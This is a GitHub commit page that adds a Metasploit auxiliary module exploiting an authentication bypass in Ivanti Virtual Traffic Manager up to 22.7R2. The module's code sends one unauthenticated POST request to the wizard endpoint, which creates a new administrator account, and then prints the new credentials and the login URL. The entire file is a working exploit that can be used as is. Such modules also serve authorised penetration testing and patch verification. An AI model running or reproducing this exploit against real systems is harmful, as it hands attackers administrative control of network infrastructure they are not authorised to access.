Skip to content

Commit be62cc9

Browse files
committed
Auth Bypass
Auth Bypass
1 parent 233f6dc commit be62cc9

File tree

1 file changed

+63
-0
lines changed

1 file changed

+63
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
4+
def initialize(info = {})
5+
super(
6+
update_info(
7+
info,
8+
'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass',
9+
'Description' => %q{
10+
This module exploits an access control issue in Ivanti Virtual Traffic Manager <= 22.7R2, by adding a new
11+
administrative user to the web interface of the application.
12+
},
13+
'Author' => [
14+
'Michael Heinzl', # MSF Module
15+
'ohnoisploited' # Discovery and PoC
16+
],
17+
'References' => [
18+
['URL', 'https://packetstormsecurity.com/files/179906']
19+
],
20+
'DisclosureDate' => '2024-08-05',
21+
'DefaultOptions' => {
22+
'RPORT' => 9090
23+
},
24+
'License' => MSF_LICENSE,
25+
'Notes' => {
26+
'Stability' => [CRASH_SAFE],
27+
'Reliability' => [REPEATABLE_SESSION],
28+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
29+
}
30+
)
31+
)
32+
33+
register_options([
34+
OptString.new('TARGETURI', [true, 'Base path', '/']),
35+
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]),
36+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
37+
])
38+
end
39+
40+
def run
41+
res = send_request_cgi(
42+
'method' => 'POST',
43+
'uri' => normalize_uri(target_uri.path, 'apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers'),
44+
'vars_post' => {
45+
'_form_submitted' => 'form',
46+
'create_user' => 'Create',
47+
'group' => 'admin',
48+
'newusername' => datastore['NEW_USERNAME'],
49+
'password1' => datastore['NEW_PASSWORD'],
50+
'password2' => datastore['NEW_PASSWORD']
51+
52+
}
53+
)
54+
55+
unless res
56+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
57+
end
58+
59+
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
60+
print_good("Login at: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}workflow/jsp/logon.jsp")
61+
end
62+
63+
end

0 commit comments

Comments
 (0)